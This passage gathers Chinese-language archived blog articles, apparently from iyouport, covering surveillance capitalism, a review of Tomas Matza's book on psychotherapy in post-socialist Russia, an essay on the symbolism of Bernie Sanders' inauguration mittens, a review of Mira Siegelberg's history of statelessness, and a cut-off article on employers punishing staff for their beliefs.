换句话说，我们的注意力会受到酷炫小工具的拥有*感*和定期升级的吸引，而监视资本主义的增压系统则融入了整个社会。

我们都没有明确同意这笔交易，但就像软件许可或服务条款一样，我们别无选择 —— 只能“接受”。

这种贿赂的例子随处可见。就如保险公司提供折扣设备和其他激励措施，是作为从智能家居和日常生活中收集大量有价值的个人数据的一种方式；

更如，当科技公司出售优化城市系统和证券化城市空间的解决方案时，它们完全接管了城市运营、全面监视和所有权。

这种贿赂之所以成功的基础源于我们所有人对一些平台的依赖 —— Uber 的出游、DoorDash 的交付、和 Airbnb 的房间。

它们看起来是如此的便宜和方便，我们这些人便就此忽略了那些背后的剥削问题、残酷的扩张、价值提取，以及使这些服务成为可能的数十亿风险投资。

贿赂是一种腐败形式。随着社会根据数字资本主义的需求进行升级，

利润和权力的必要性已经严重破坏了这些智能技术的源头。

我们可能没有以任何有意义的方式接受贿赂，但尽管如此，它看起来依旧像是一种魅力。

正如 Virginia Eubanks 在她的书 “Automating Inequality” 中所展示的那样，资本主义经常测试其最新的方法来提取、利用和排斥社会中最无力的、最边缘化的群体 —— 那些甚至没有得到贿赂的人 —— 在针对大多数人之前。

就如那位每一步都在受到监视和操纵的女性对 Eubanks 所说的话：“你应该注意到发生在我们身上的事。你是下一个”。

⚠除非我们追随那些拒绝智能锁的租户及其实现的权力机制的脚步；理解到他们不仅仅是技术反叛者。他们正在数字资本主义的前线作战 —— 他们需要增援。〇

这里是一份论文《为什么应该将隐私理解为“监视的盟友”》；并且本文的思考方式并非首次呈现，另见《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

原文

休克疗法：后社会主义俄罗斯的心理学 - iyouport

社会反抗和思考

【2020年5月7日存档】关于转型过渡期的社会心理，它选择了一个不同的角度

在《休克疗法》这本书中，托马斯·马萨（Thomas Matza）提供了民族志的研究，探讨了后社会主义俄罗斯的心理疗法的兴起。

您可以在这里下载这本书：https://t.me/iyouport/6580

通过对在全国各地不同机构工作的心理治疗师的深入访谈和观察，Matza 不仅深入探讨了他们的实践和观点，而且展示了俄罗斯人经历的不断变化和过渡的过程。

自90年代初期俄罗斯从共产主义向资本主义动荡过渡以来，该国一直在应对经济、政治和文化方面的挑战，也常常是学术研究的重点。

Tomas Matza 对俄罗斯的心理治疗进行的考察提供了一个新颖的视角，从中可以了解面对这些挑战的典型俄罗斯人的故事。

该书的标题是《休克疗法》，讲述的是在那个过渡时期发生的新自由主义改革，正如 Alena V. Ledeneva 所说的，其中“休克太多，疗法太少了”。

如果您对俄罗斯的 “后社会主义” 社会心理感兴趣，除了本文推荐的《休克疗法》之外，还可以阅读《二手时间》这本书（2015年诺贝尔文学奖获得者阿列克谢耶维奇的作品），虽然它们的角度不同；此外还有一部电影对此的展示非常细腻《Нелюбовь》中译名“无爱可诉”——它讲述的可不是家庭故事，而是整个俄罗斯社会的心理困境。

任何一种专制到民主的过渡都会反应在社会心理层面上，专制体制持续的时间越长，其反应就会越明显、过渡期延续时间也就越长。还记得IYP的 “极权社会心理阴影” 系列吗？您可以在下面回顾：

- 《诊疗笔记：求极权社会的心理阴影面积（1）》；
- 《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》；
- 《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》
- 《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》
- 《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

90年代，俄罗斯经历了一场心理学热潮，这引起了治疗选择的泛滥和俄罗斯人的需求增加。

正如 Matza 所说，各种各样的人都参与了提供心理治疗的工作，他们的工作为理解俄罗斯人在转型阶段对 “自我、他人、情感、障碍、康复和潜力” 的看法提供了一种窗口。

Matza 的民族志研究为审视后社会主义的俄罗斯带来了一个微妙的视角，表明 “新政权” 并不是心理疗法兴起的唯一因素。

还应考虑其他理由和目标，例如医患关系的人性化，护理的非医疗化，以及从“患者”到“客户”的角色转变等。

匹兹堡大学人类学助理教授 Matza 于2005年至2013年间在圣彼得堡与心理治疗师进行了现场调查。

Matza 通过多种方式进行了实地考察：观察心理治疗会面、听取心理治疗电话、并与从业者互换角色，从而使治疗师也有一个讨论自己的生活的机会。

田野调查也发生在各种各样的环境中，给读者形成了鲜明的对比，从商业心理服务到国家心理服务（心理教育医学社会中心 PPMS）。

以心理学为基础的重生应该是帮助人们发挥潜能的积极手段，而 PPMS 则将来访者视为 “处于危机中的机器，其功能必须加以改进”……读者会感觉这里有两个俄罗斯的故事。

Matza 于1994年首次接触俄罗斯社会，与该国的长期关系显而易见，其个人经历贯穿整本书。

这些经验和生动的案例研究使文本在很大程度上与 Michel Foucault、JacquesRancière 和其他学者的理论紧密相关。这些丰富的素材有助于 Matza 的思想定位，并为他建立对主题的独特理解奠定

了基础。

Matza 的研究主要来自他采访的心理治疗从业者。这些采访使他能够深入探究他们的动机。

Matza解释说，一位心理治疗师加入该行业是为了响应90年代周围世界的 “瓦解”，并通过心理疗法提供 “一个港湾，并最终提供一个专业身份”。

另一方面，根据 Matza 的一位受访者所说，有些心理治疗师 “对任何事情都不感兴趣，只为了能通过治疗赚更多的钱”。

同时，与精英阶层的孩子一起在 “再生阵营” 工作的心理学家将自己视为社会的改革者。

他们的“文明化关怀”（Matza 的描述）来自他们的观点，即 如果人们能够通过情感上的相互依存、富有同理心、这些教育就能改变精英客户的行为，从而变得更好，那么整个俄罗斯国家就可以从中受益。

Matza 还指出，再生心理学家为客户准备的预期价值是通过减法定义的：最重要的是清楚他们反对的是什么（苏联过去的版本和当前俄罗斯精英的风格），而不是他们想要什么。

考虑到服务关系时，大多数人会想象从业者/服务对象关系中只有一方是弱势者。但是在 Matza 的“危险护理”概念中，从业者和服务对象都是易受伤害的人。

在作者访问的PPMS中心，从业者在脆弱的财政支持下处于脆弱的位置，在繁重的管理下步步为营，随时担心严格的检查。

后两者的主要原因是弗拉基米尔·普京（Vladimir Putin）的改革所激发的审计文化，可以粗略地提炼为审计、标准化和系统化 —— 这一切都体现在可测量性、过分的官僚主义、以及将公民视为消费者的待遇上。

Matza 所描述的过度官僚文化的一个例子是，如果 PPMS 中心的工作人员超出了他们保护儿童的 “法定职责”，他们将受到高级管理层的谴责，哪怕他们做得很好。

令人钦佩的是，这并不能阻止 PPMS 员工积极地寻找解决此问题的方法。

Matza 的资料并非全部来自现场采访。由心理学家主持的广播节目为进一步了解当代俄罗斯的问题提供了额外的窗口。

主持人米哈伊尔·拉科夫斯基（Mikhail Labkovsky）的一场特别引人注目，他将辩论集中在代际关系上。

公共交通是几代人之间发生冲突的舞台，在那里，老年人想尽各种办法来发泄自己的愤怒，由于年轻人拒绝放弃在地铁上的座位。老人认为年轻人不够尊重，而年轻人认为自己花了钱买的票就应该享受座位……

这场辩论显示出跨代际公民意识概念的明显冲突：社会主义的社会习俗与资本主义的消费者模型。

这场辩论是在新自由主义改革的阴影下进行的，该改革以微薄的现金支付取代了老年人的福利，例如免费乘坐地铁。

一位愤怒的老者将青年人在公共交通设施上的“无礼行为”与对福利政策的改变以及政府高层的态度联系起来了：“对老年人的态度是上行下效的，这就是我们在社会上拥有这种氛围的原因！”

与本书的其余部分相比，广播节目中的这一章尤其具有洞察力，因为广播的民主性质，Matza 可以无限制地访问寻求心理治疗的人们的观点，而不是他实地采访的其他领域。

《休克疗法》这本书严谨地将心理治疗师的多种个性和实践分解开来，对当代俄罗斯的状况进行了凄美而微妙的观察。

考虑到实地调查和理论文献调查的时间跨度，《休克疗法》可以说是一种简洁的成果。

把心理治疗师放到沙发上的角色调转，意味着 Matza 不仅能够深入研究心理疗法的现象，而且还为后社会主义俄罗斯的动荡提供了人性化的面孔。〇

原文

伯尼的手套：精英共识之外的团结 - iyouport

社会反抗和思考

【2021年3月16日存档】我们还在这里，它说。如果你无视我们，我们下次就不会再这么安静地坐着了。

【按】我们做这篇文章有两个原因。

首先，桑德斯照片的 meme 在中文互联网上也非常热门，我们看到人们争先“创作”了很多种PS效果，但是，没有任何人对此做出有意义的解释；

其次，中国媒体很喜欢评论政客和名人的衣着，每当大型会议，就会有讨论衣着的媒体文章出现，但从来没有文章在政治符号学方面做出任何贡献。

于是我们觉得，借助这一元素在中文网络语境中的热度，也许这篇文章能帮您体验一下，有意义的政治评论大致是什么样的 —— 即便只是从一副手套开始。

此外，如果希望更好地理解本文，您可以同时阅读这篇文章：《After the Deep State Sabotaged His Presidential Bid, Bernie Sanders Mocks Those Who Believe it Exists》。

可怜那些艺术总监、造型师和舞台经理，这么多的努力、品味、策略和金钱都花在了乔·拜登就职典礼的符号学策划上。卡马拉·哈里斯的皇家紫色的精确色调（时尚杂志可以去死了）、选择一个纽约的小品牌为吉尔·拜登穿上海洋蓝的衣服（暗示在流行病中支持小企业）、Lady Gaga 的金鸽子胸针的分量（“饥饿游戏”的乐趣）。

然而这一切都是徒劳的。

因为在一片精致搭配的口罩海洋中，伯尼·桑德斯的破烂旧手套一举夺魁，瞬间成为了这个历史性场合中最多被讨论的、最让人欣喜的、最让人疯狂的视觉信息。

我们应该如何看待这件事？为什么有那么多的人对这双旧手套的隐语如此感兴趣？是流行性谵妄吗—— 我们所有人都把自己的社会孤立感投射到人群中最孤立的人身上？是性别歧视和种族主义吗，伯尼兄弟又一次没有承认玻璃天花板破碎的女性时尚选择所表达的颠覆性信息？在我打这些字的时候，一个朋友刚刚发来短信，上面写着："全世界都在暗暗希望伯尼是我们的总统"，是这样吗？

这一切的意义是什么？手套暗示了什么？

和其他许多与这类新政府有关的事一样，现在下结论还为时过早。但以下列举了五种可能性。

1、手套作为保留的判决

「图」

媒体的大部分焦点都集中在手套本身上：它的70年代越野滑雪反时尚风格。在大规模制造的世界里独树一帜的手工性质。它的随意性，以及显然不是因为天太冷而佩戴的。

然而，同样重要的是戴手套者的姿势：懒洋洋的，交叉的手臂，与人群的身体隔离。这种效果并不是显示一个人在聚会上被冷落，而是，说实话，是一个没有兴趣加入的人。

在这个首先是展现所谓的 "跨党派团结" 的活动中，伯尼的手套代表了 *每一个* 从未被纳入这种精英制造的 "共识" 的人。

这不是抵制场合本身，没有人比伯尼更希望特朗普出局；但是，它表达了对即将到来的判断的明确保留意见。交叉在一起的手臂是在说："让我们看看你到底做了什么，然后我们再来考虑谈论团结。"

2、手套作为警告

「图」

但还不止于此。如果你仔细观察就会发现，还有一个警告在里面。全世界都为伯尼沉闷的就职姿态而疯狂，因为他在保持着一种希望，即：美国仍存在道德上反对高度集中化的权力和金钱—— 在我们比以往任何时候都更需要这一反抗斗争的时候。

在那一刻，伯尼交叉的双臂和衣着的不协调似乎在说："别和我们过

不去”。如果在所有的喧嚣过后，拜登-哈里斯政府没有为一个处于痛苦中的国家和星球带来变革性的行动，就会有后果。而与奥巴马时期不同的是，这些后果不会花费数年时间—— 因为革命精神已经在内部萌芽。它正戴着手套。

- 为什么说 “与奥巴马时代不同”？见《应许之地的虚假承诺》

3、暴露自由派小心机的手套

「图」

伯尼的手套成为重磅热点不仅在于人们对这位参议员的痴迷，我们这些人曾热切地希望看到这只手能放在圣经上。手套在自由主义者中也是一个令人惊讶的打击 —— 许多自由派在初选期间公开对桑德斯总统的前景感到窒息（如此大声，如此尖锐，如此愤怒）。然而，他们现在却在这里转发这双手套的 meme，并分享关于手套如何由工匠手工制作的愉快故事（狡猾！），或者伯尼将手套借给一位寒冷的医护人员的那次（一个 “暖手” 的故事！）。

- 关于自由派企业媒体如何攻击桑德斯《宣传大方向令企业媒体忘记了幼儿级数学题的做法》

这到底是怎么回事？为什么曾经那个所谓的 “具有威胁性的社会主义者伯尼” 突然变成了人人喜爱的老爷爷？从某个层面来说，这很简单：即使担任参议院预算委员会主席时，桑德斯对自由派的威胁也远不如他竞选总统时许诺重新分配财富并从医疗保健中摆脱赢利动机来得更大。换句话说，对于民主党的精英们来说，当伯尼 “重新分配” 手工制作的手套时，他们很容易爱上他—— 只要伯尼的手套别去碰他们的捐助者塞来的数十亿美元。

在某些方面，容忍党内的一个邋遢派甚至是有用的，正是因为领导层与工人阶级的基础如此隔绝。在这种情况下，在这个较晚的时间里公开拥抱伯尼扮演的角色类似于各种伪民粹主义的惯用特技表演，例如非常公开地吃您讨厌的油炸食品、或穿着普通人的衣服。

这就有了下一个相关手套的意义。《美国的选举为什么撕裂了华人群体：让我们避免使用“川粉”这个词》

4、作为街头威望的手套

「图」

在自由派媒体中，就职典礼周标志着奥巴马时代兴高采烈的回归，将第一家庭作为达沃斯级名人进行报道。

他们聚焦于：拜登的 Peloton 自行车是否存在安全风险？谁给吉尔·拜登穿的衣服？你见过卡马拉妹妹拉风的女性主义运动衫吗？ …… 在特朗普时代，这股 “政客即生活方式” 的报道已经基本沉寂。当然，白宫里充斥着富人，穿着和消费着昂贵而令人向往的东西。但是，他们都是前法西斯主义者和无耻的骗子，所以过多地纠结于梅拉尼娅的披风和伊万卡的珠宝是一种糟糕的表现。

现在这一切都结束了。然而令人纠结的公关问题依然存在。毕竟，我们正处于全球大瘟疫中，饥饿感急剧上升 —— 即使在这个大规模死亡的时期，超富阶层的财富依旧在大幅增加 —— 只有他们的财富在大幅增加。直到手套的出现。很明显，民主党上层的一些人明白，如果他们要沐浴在新自由主义 “正常” 的魅力回归中，就需要对现实进行一些点拨。伯尼身着羽绒服、戴着手套和一次性口罩出现在那里的事实，很快就被采纳为这种点头了。

但我们不应该再被愚弄了。因为手套还有另一个更强大的意义。

5、手套作为运动的存在

「图」

手套是指手套，但也是指 meme。这款手套的象征意义似乎在其登场的几秒钟内就发生了超级升级。在 Gaga 唱完国歌之前，在拜登说了9次 “团结”、又说了3次 “联合” 之前，伯尼的手套就在整个互联网上飞来飞去了。几个小时内，他就被叠加到了数千张标志性的图片上，被拼接成了电影，并在所有能流行的地方流行起来。

至关重要的是要明白，这与伯尼所做的任何事无关 —— 除了以他唯一著名的方式成为伯尼之外。就像他历史性的2020年初选活动中的很多东西一样，手套的象征性力量在于 “不是我，而是我们” 中的 “我们”，这是一个代表成千上万的基层组织和数千万选民的分散化运动，根据许多民意调查，它代表了大多数民主党选民支持的政策，但是，仍然被精英阶层所拒绝 —— 全民医保、绿色新政、取消学生债务、免费大学、富人税等。

在拜登的登基日，代表这些政策和这些价值观的运动从一双旧手套中产生了全球性意义。

它做到了，因为它能做到。

这是一个友好的小存在感和一个不那么友好的暗流。

我们还在这里，它说。如果你无视我们，我们下次就不会再这么安静地坐着了。〇

The Meaning of the Mittens: Five Possibilities

原文

你好，无国籍人士 - iyouport

社会反抗和思考

【2020年12月8日存档】绘制无国籍人口的上升趋势 ……从另一个角度思考 “国家” 的概念

我们此前发布过另一篇思考 “国家” 概念的文章，见《

如果你乘船从夏威夷向西南驶向澳大利亚，你会经过一些在发展术语中被称为 “小岛屿发展中国家 SIDS” 的集群。它们主要分布在南太平洋和加勒比海地区：铜蓝色的海水环绕着斑驳的土地，在那里，你很容易想象到一种安逸的生活和不变的节奏 —— 如果你没有在这些岛屿上呆过足够长的时间，就不知道那里的时钟是如何跳动的。

小岛屿发展中国家将是世界上最先被淹没的国家。这些国家地势低洼，其人口和发展往往集中在沿海地区。其中许多国家都很贫穷。

基里巴斯是小岛屿发展中国家中受影响最严重的国家之一，由三十三个小岛组成，分布在一百多万平方英里的海洋中。从面积上看，它是世界上最大的国家之一，但它的平均海拔仅高出水面6英尺。到2100年，海平面上升幅度的最高估计在6英尺左右；从字面意义上说，当已经变薄的沙地边界被突破时，将没有什么安全的地方可以退缩。再加上海洋温度的变化、鱼类资源的减少和极端的天气状况，显然，气候变化将使基里巴斯的居民无一幸免。

所以他们将不得不离开自己的家园。如果你能活到2100年，再一次从夏威夷包船向西南航行，你所经过的许多岛屿很可能已经萎缩、荒芜，无法支撑人类的生命。也许你不需要等那么久。

气候变化导致的岛屿人口流离失所不会像我们这个时代的世界大战所产生的那种迅速和集中的灾难，但其造成的人类代价将是巨大的。基里巴斯目前有15万人口。马尔代夫是另一个低地小岛屿发展中国家，人口超过50万。它的一千二百多个岛屿中，只有一个岛屿的最高点是八英尺。马尔代夫人也将很快不得不离开自己的家。

亚太地区的其他岛屿，也许是菲律宾或印度尼西亚群岛，也可能随着海平面的上升而变得不适合居住。但是，这些岛屿的居民至少可以选择搬到本国其他更安全的地方，从而保留他们的公民身份及其所拥有的一切。

而基里巴斯岛人被称为“I-Kiribati”，他们没有这种保护。他们的国家在1979年从英国的殖民统治中获得独立后，几年前在斐济购买了20平方公里的“溢出”土地，为可能发生的水位上升做准备，但对于有多少人可以搬到那里，以及他们的生活有多大保障，存在着严重的疑问。目前，这个国家正在下沉。当独立的基里巴斯消失时，基里巴斯人也将失去他们的国籍。

Mira L. Siegelberg 的《无国籍：一部近代史》这本书对目前全世界几百万无国籍人口的命运以及未来几十年将有更多人加入这一阵营的命运感到焦虑。

她在书的结论中写道，“在可能并不遥远的未来，当整个国家 … 变得被淹没的时候，被剥夺家园的人口在目前的政权下将不会享受任何政府的保护。”

在绘制无国籍的谱系时，Siegelberg 详细介绍了现代世界被分割成界限严密的民族国家的过程，这些国家的成员资格赋予了政治上无家可归者所得不到的保护。这个过程应该为下个世纪的发展提供线索。“国家的边界正在以新的方式打破，强迫移民与这一进程密不可分”，她写道。

我们所知道的现代国家是国家和主权概念重组的产物，许多理论家认为，这种重组始于十八世纪末的法国大革命。在二十世纪初，随着帝国的瓦解和更多分立的政治单位的出现，它有了新的力量和新的参数。因此，尽管 Siegelberg 对无国籍状态及其在国际法中的处理方式的研究是深入的，但她这本书的时间框架必然是被浓缩了的。

只有当整个国家开始采取更好的形式以区分公民和非公民时，无国籍状态才成为一个严重的法律问题：固定的、明确划定的边界；文化上毗连的人口（或其领导人可能希望如此）；以及单一的统治当局。与这些相当现代的特征相比，之前的时代在领土压缩和扩张方面的表现更为流畅。

从哈布斯堡帝国到阿比西尼亚帝国，帝国精英、君主和宗教当局不断寻求扩大其边界，在此过程中积极吞并不同种族的人口。由于边界频繁移动，那些留在原地的人在不同的时间属于不同的国家，或者有时

根本不属于任何国家，这很常见。那些在领土之间流动的人 —— 商人、游牧民族、逃离冲突和饥荒的难民 —— 往往要面对对统治者而不是对虚无缥缈的 “民族文化” 的忠诚度的审查。在大多数情况下，那时的人们还没有受到急切的、狭隘的所谓 “适应性” 测试，而这种测试在今天的移民经历中已变得如此普遍。

对现代无国籍危机的任何研究都必须把第一次世界大战的事件作为关键。就在那场战争结束两个月后， Max Weber 发表了他著名的演讲《作为一种志业的政治》，他在演讲中概述了也许已经成为欧洲分裂后形成的新国家形式的经典定义。

Weber 写道，在以前的时代，法律制定往往是一系列 “社团” 的领域，它们的权威力量因背景不同而不同。这些社团可能是氏族系统、私人军队、城邦当局；也可能是君主制或教会。但是，随着战争的到来，这种规模巨大的事件要求战斗人员作出全国性的反应，这就要求这些社团抢夺合法使用武力的权力。这样一来，对人的控制和权力杠杆就集中在一个权力机构之下了。

这场战争标志着当代民族国家形式开始在欧洲占据主导地位，这也是 Siegelberg 这本书的地理重点。那个时代奥匈帝国的崩溃、亚美尼亚种族灭绝、和其他危机，使数百万人无家可归，促使调查这些流动人口的系统得到完善。

护照或许已经以各种形式存在了两千年，但只有在战争年代，护照才成为国际旅行的必备品。对于那些有幸在战后仍然属于一个国家的人来说，它们既提供了通行安全，又提供了国家归属的证明，随着国籍成为身份识别的决定性来源，它们获得了无与伦比的价值。

但护照的流行并不普遍。Vladimir Nabokov 持有 Nansen 护照 —— 这是1922年后向无国籍人士发放的第一本国际公认的难民旅行证件，他认为 Nansen 护照是 “欧洲官僚设计的沉闷地狱”。但是，那些连这种地狱式护照都没有的人，却对没有护照所代表的剥夺权利的行为嗤之以鼻。

这场战争还引发了一个世纪的法律争论，争论的焦点是如何看待、以及如何对待数以百万计的人，这些人发现自己没有了可以称之为家的国家。

Siegelberg 对形成现代无国籍问题的复杂争论和对事件的掌握令人印象深刻。我们看到欧洲法院如何在战争及其后伴随的俄罗斯、德国和其他地方的革命促使重新划定边界并将数百万人分散到欧洲大陆的过

程中对这一新兴类别进行争论。

甘地认为，欧洲无国籍人士人数众多，表明欧洲文明的衰败及那里草率的建国模式；汉娜·阿伦特因逃离纳粹德国而成为无国籍者，她认为对无国籍者的诋毁标志着19世纪公民解放理想的破灭，取而代之的是一个只有通过加入政治共同体才能保障基本权利的框架。

法律上的争论开始集中在是否可以扩大国际法的权威，将保护无国籍者纳入其范围。这与战后向国际主义的转变相吻合，1919年国际联盟的诞生使国际主义的形式变得生动活泼，但随着扩张主义法西斯政府的崛起，国际主义也出现了邪恶的转变。伴随着这些发展的，是一个更大的问题，即 国家能否被拆解为国际政治的核心主体。“越看越觉得可能”，Siegelberg 写道：

国家并不是国际舞台上唯一的行为者，这一点似乎越发明显。事实仍然是，人们可以找到联邦、联盟、保护国、势力范围、宗主国和自治领地，所有这些都与 “世界上所有领土都在某个主权国家的专属主权之下” 的正统理论背道而驰。

第二次世界大战后，主张绝对主权的国家激增，有效地将我们今天所知道的民族国家秩序钙化。然而，Siegelberg 对这种不可避免的信念提出了质疑。

她指出，历史学家和政治理论家已经 “开始恢复集体自决、主权、政治代表权和民主自治等观念在整个二十世纪是如何以各种方式被概念化的”。在这样做的过程中，他们反驳了民族国家模式在二十世纪政治地理学中占主导地位以至于压倒所有其他政治组织形式的假设。相反，只是在**1960**年代，联邦、保护国、域外飞地和其他复杂的政体才 “让位于更单一的世界政治地图”。她认为，这些对政治生活的另类看法迫使我们质疑 “现代国家如何在第二次世界大战后成为政治组织的主导形式”。

这将使全球的无国籍者在现在和未来的世纪中处于何种境地？Siegelberg 没有回答这个问题，也许有充分的理由：从当前政治时代的混乱中预测未来可能是不明智的。然而，无论是过去还是现在，都有乐观的曙光。

随着时间的推移，很明显，全球无国籍者并不沉默；正式的政治并不是、也从来没有成为争取和实现权利的唯一领域。由于我们的世界更加互联，无国籍群体拥有游说的力量，而且在某种程度上，他们仍然可以组织起来 —— 巴勒斯坦人民、罗兴亚人和西藏人只是其中的三

个例子。

Siegelberg 还对阿伦特关于 “自然权利” 的空虚的执着表示质疑，这些权利是一个人仅仅因为是人类而应该拥有的，但这位哲学家认为，二十世纪的大规模权利剥夺行为证明了其空洞性。这种关注也忽略了较小的成就，在一些值得注意的案例中，无国籍者能够在没有国家保护的情况下，通过维权行动来维护其法律能力。

他们还得到了也许是二十世纪最优秀的法律头脑的支持。 Hersch Lauterpacht 在纽伦堡法庭的工作对于将危害人类罪和战争罪的指控载入国际法至关重要，他还试图重塑国际法律框架，以便能够保护无国籍人士免受许多势力的侵害。

然而，这些努力取得的成功有限。1961年的《减少无国籍状态公约》禁止国家撤销国民的国籍，如果这样做会使他们成为无国籍人士的话。但就在去年，该公约签署国英国的保守党政府就剥夺了 Shamima Begum 的国籍，因为这位孟加拉裔的伦敦女学生在2015年加入了ISIS。英国政府认为，孟加拉国可以照顾她；孟加拉不出所料地拒绝了，这样一来她也进入了政治荒野。

Begum 的事件是一个个案。然而，更不祥的是，这场危机是如何自动产生的。每年有7万名儿童出生时就处于无国籍状态，其中许多人是在难民营中出生的，其父母是无国籍人士。1961年《公约》要求他们的出生国给予他们公民身份，如果不给予他们公民身份，他们就会失去《公约》表面上提供的保护，但有一半以上的国家不是1961年公约的缔约国，因此不受其规则的约束。国际法的范围不足以保护世界上最脆弱的人免遭这种命运。

全球无国籍人的数量不断增加，足以证明实现和保障公民身份的政治框架基本没有改变。当然，除非你有足够的财富和地位。

Siegelberg 引用了记者 Atossa Araxia Abrahamian 的观点，他认为金融精英们已经居住在一个 *后国家* 的世界里，在这个世界里，护照可以被购买，有钱人可以将财富保存在一个新的国家 —— 通常是免税的。因此，国家边界的力量并不是绝对的；它将向它所希望的人屈服。毫不奇怪，无国籍状态与不平等有着千丝万缕的联系。

最后一点使国家沉没的问题变得更加紧迫，Siegelberg 的重要研究报告最后提到了一个不祥的未来。第一批将沉入海浪之下的国家是世界上最贫穷的国家；它们的人民将没有办法购买新的国籍。

因此，现代法律和政治史上前所未有的事确实已经迫在眉睫。谁来接收那些其国家实际上已经消失的人？他们很可能有强烈的庇护要求——他们的政府已经不复存在，因此，其保护任务也不复存在——但另一个国家欢迎他们的决定总是受到当地政治的阻碍。对于寻求庇护者返回家园后所面临的风险，各方意见不一，这又增加了一层复杂性。

例如，1月，联合国通过了一项决议，规定各国政府将气候难民遣返回国是非法的，但它拒绝推翻联合国先前对一名来自基里巴斯的农民工的庇护申请作出的裁决，理由是它认为他的生命“没有受到迫在眉睫的危险”。

这个问题并没有结束。即使给予庇护，那些获得庇护的人的过去和未来的身份会如何？基里巴斯人是否不得不停止成为基里巴斯人，而成为澳大利亚人、或印度尼西亚人、或其他任何他们登陆的地方的人？他们的民族身份是否要在事实上被取消？

“在气候变化和大规模移民的新时代，国家身份的定义将是什么，谁来决定？领土是否仍然是国家的基本特征之一吗？” Siegelberg 问道。

也许已经被削弱的国家模式不会存在太久了，在这种情况下，与其说是重新设计国际法，不如说是想象新的政治形式，使公民身份与领土脱钩。

正如作家 Rana Dasgupta 所指出的那样，公民身份在今天发挥着“一种极端形式的财产继承式”的作用。“97%的公民身份是继承的”，在这个星球上生活的基本范围在出生时就已经确定了。

因此，无论需要进行何种重新构想，最好都要尽快完成。从今天的角度来看，从两次世界大战的废墟中产生的全球秩序的持久性并不完全安全。放松对金融的管制、全球性金融机构、公司权力的加强、国内民族宗教暴力的频繁爆发、远程战争技术、甚至有人认为还包括公司国家的回归——所有这些都表明，国家的独立性及其统治者似乎享有的权力垄断，正在受到来自内部和外部的破坏。

【注：公司国这个概念源自 Charles Reich 于1970年出版的《绿化美国 The Greening of America》一书中公司国不受人控制、无视人权的价值观】

然而，国家模式的衰落正在遭到坚决抵制。当今整个西方世界表现出

更充分的孤立主义行为 —— 表现为试图重新确立一个绝对主权至上的国际秩序。随着民族国家的瓦解，具有民族主义思想的领导人找到了更多的理由来加固其边界。美国、欧洲国家、澳大利亚和其他地方可能曾经为现代的无国籍者提供过庇护。但是，随着我们这个本应联系更紧密的世界不断地原子化，它们已经很难被视为新家园的可靠提供者。〇

A Long Way from Home

原文

你的老板怎么比网警还厉害？ - iyouport

你应该了解的现实社会反抗和思考

【2020年10月15日存档】人们的工作与私人生活之间的界限越来越模糊 …… 这意味着什么？

【按】这种状况也许中国读者不会陌生。您是否听闻过或者经历过因为自己的政治立场（社交媒体帖子或观点）而被雇主单位解雇的状况？人们也许称之为“政审”，但这种审查可以非常宽泛，甚至追溯到您被雇佣之前的数年，其性质上与网警无异。

去年12月，一个英国就业法庭裁定，智囊团全球发展中心（CGD）拒绝续签 Maya Forstater 的合同是合法的 —— 因为她在自己的推特上说“一个人的生物性别是不可变的”。

这位研究员 Forstater 女士在推特上发布了几则评论，批评了成年男性可以变性为女性的观点。她是通过个人帐户发布这些帖子的，但是在她的 Twitter 个人资料中列出了自己的雇主。

在有同事们向人力资源部门投诉她在网上的言论后，她被要求发表免责声明 ：“观点是我自己的”。

她照做了。

根据她的雇主的说法，同事们反对她在抗议活动中张贴自己的照片，上面写着 “Woman, noun, adult human female” 的横幅。

跨性别权利活动家为此欢呼，而女权主义者和言论自由的拥护者感到震惊。

在法庭上，Forstater 女士辩称，她认为男人不能成为女人的这一信念应得到与宗教信仰同样等级的保护。法官不同意这点，认为她的 “性别批判” 观点 “在民主社会中不值得尊重”，因此没有资格获得保护。

相比之下，另一家英国法庭在一月份也做出了同样的裁定，案子是道德素食主义者 Jordi Casamitjana 在被披露其养老基金投资于从事动

物试验的公司后，被一家动物福利慈善机构 “反残酷运动联盟(LACS)” 解雇。

Casamitjana 对解雇他的行为表示抗议。他说自己被解雇是因为他是出于道德理由的素食主义者。如果他能证明这点，那么开除他就是歧视性的。他的雇主说，他因严重不当行为而被解雇，而且他的信仰无关紧要。

技术和文化变革的融合使这种情况几乎不可避免。

自从有了 Twitter 和其他社交网络，员工们有了更多的机会来发表自己的观点；曾经只能在酒吧里说的那种粗俗的评论现在在世界各地流传。

而努力塑造自身形象的公司可能会发现麻烦。

同时，信仰的性质发生了变化。富裕国家的人们已经不太愿意说他们属于某个教堂。皮尤研究中心的研究显示，即使在比大多数国家更加虔诚的美国，说自己没有宗教信仰的人的比例也从1970年代初的6%上升到了22%。

在代表三分之一以上劳动力的千禧一代中，这一比例高出一倍。

然而，有组织的宗教的衰落所留下的空洞已经被同样持之以恒的各种其他信仰所填补。

公司和法院必须解决这个问题：为保护员工免受基于宗教理由的歧视而制定的法律也应适用于这些信念吗？

关于宗教歧视的判例法已经确立。许多西方国家也禁止基于 “信仰” 的歧视，尽管这个词并没有一个明确定义。

Forstater 女士和 Casamitjana 先生案件中的律师 Peter Daly 表示，越来越多的非宗教工作者希望获得与宗教团体类似的保护。英国法院在这方面处于领先地位。

2006年，英国取消了对与宗教信仰“相似”的信仰的要求，降低了有资格获得保护的信仰的标准。然后，在2009年，一个法庭裁定 Tim Nicholson 对人为导致气候变化的信念类似于宗教信仰，应享有相同的保护。

Nicholson 曾担任房地产投资公司 Grainger plc 的可持续发展部门负

责人，直到被裁员为止。 Grainger 声称这是人员需求不断变化的结果。

但 Nicholson 认为，他被解雇是他对环境的信仰的结果：他经常敦促高管们改善其对环保的承诺。

该律师事务所的律师声称，Nicholson 先生的观点只是观点，而不是享有特殊保护的信念。但是事实是，他的信念指导着他的日常生活，影响了他的行为，这使法官确信这是值得保护的信念 —— 这一裁决在欧洲许多地方都具有影响力。

该裁决为受保护的信仰设定了五个标准。它必须是真正持有的，而不仅仅是基于现有信息状态的观点或认识；它已经成为生活中重要的一部分；已经达到一定程度的能力、严肃性、凝聚力和重要性；在民主社会中值得尊重；与人的尊严和他人的权利相适应。

最后一个标准明确地设定为狭义，以排除特定的有害信念。白人至上主义不能受到保护。

